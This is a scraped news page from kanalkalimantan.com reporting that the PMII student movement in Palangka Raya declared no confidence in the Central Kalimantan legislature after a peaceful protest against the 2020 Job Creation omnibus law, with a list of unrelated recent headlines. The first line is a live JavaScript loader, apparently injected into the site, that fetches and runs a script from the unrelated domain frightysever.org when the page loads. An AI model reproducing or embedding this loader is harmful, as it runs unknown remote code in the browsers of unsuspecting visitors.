(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Palangkaraya

PMII Palangka Raya Menyatakan Mosi Tak Percaya kepada DPRD Kalteng


KANALKALIMANTAN.COM, PALANGKA RAYA — Pergerakan Mahasiswa Islam Indonesia (PMII) Kota Palangka Raya menyatakan mosi tidak percaya terhadap anggota DPRD Kalimantan Tengah.

Hal itu lantaran kekecewaan mereka tidak bisa menemui satupun wakil rakyat dengan alasan sedang melakukan kunjungan kerja ke luar daerah. “Kami saat kecewa dengan kinerja DPRD Kalteng, yang seharusnya mendengar aspirasi rakyat. Dengan ini kami menyatakan mosi tidak percaya kepada mereka,” kata Ketua PMII Palangka Raya Surya Nur, Jumat (9/10).

Mosi tidak percaya disampaikannya, usai melakukan aksi damai penolakan undang-undang (UU) omnibus law cipta lapangan kerja (Ciptaker) di Halaman Kantor DPRD Kalteng, Jumat (9/10/2020).

Oleh sebab itu, tuntutan mereka hanya diterima salah satu pejabat di lingkungan DPRD Kalteng saja. Tapi mereka akan tetap mengawal apresiasi yang telah disampaikan, sampai menunggu jawaban dari Ketua DPRD Kalteng Wiyatno. Apabila tidak ada jawaban seperti tuntutan mereka, maka mereka akan kembali melakukan aksi.

Adapun tuntutan mereka yakni menolak tegas UU omnibus law ciptaker, karena bertentangan dengan nilai keadilan sosial. Menuntut Presiden Jokowi tidak menandatangani UU Ciptaker tersebut. Pasalnya, ini sebagai itikad baik presiden, yang peduli dengan apa yang rakyat sampaikan.

Kemudian mendukung penuh, upaya yang akan dilakukan PMII pusat dengan melakukan yudisial rewiew di Mahkamah Konstitusi (MK). Sementara itu saat menyuarakan aksi penolakan. PMII melakukan dengan cara yang berbeda. Mereka hanya melantunkan shalawat burdah, puisi dan penyampaian tuntutan. Menurutnya Surya, apa yang mereka lakukan, agar tidak tidak ingin menambah suasana semakin panas dan tidak terkendali.

“Karena yang paling substansi dari aksi adalah menyampaikan tuntutan dengan cara berbeda-beda. Sehingga kami memilih cara ini, karena sesuai dengan karakter kami, sebagai mahasiswa NU, shalawatan ciri khas NU,”ujarnya.

Tak hanya itu saja, mereka juga ketat menerapkan protokol kesehatan. Oleh sebab itu, jumlah peserta aksi dibatasi hanya 50 orang saja. Selain itu, ternyata mereka juga telah menjalani rapid test, sebelum diizinkan melakukan aksi di halaman kantor wakil rakyat ini. (kanalkalimantan.com/tri)

 

Reporter: Tri
Editor: Cell


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.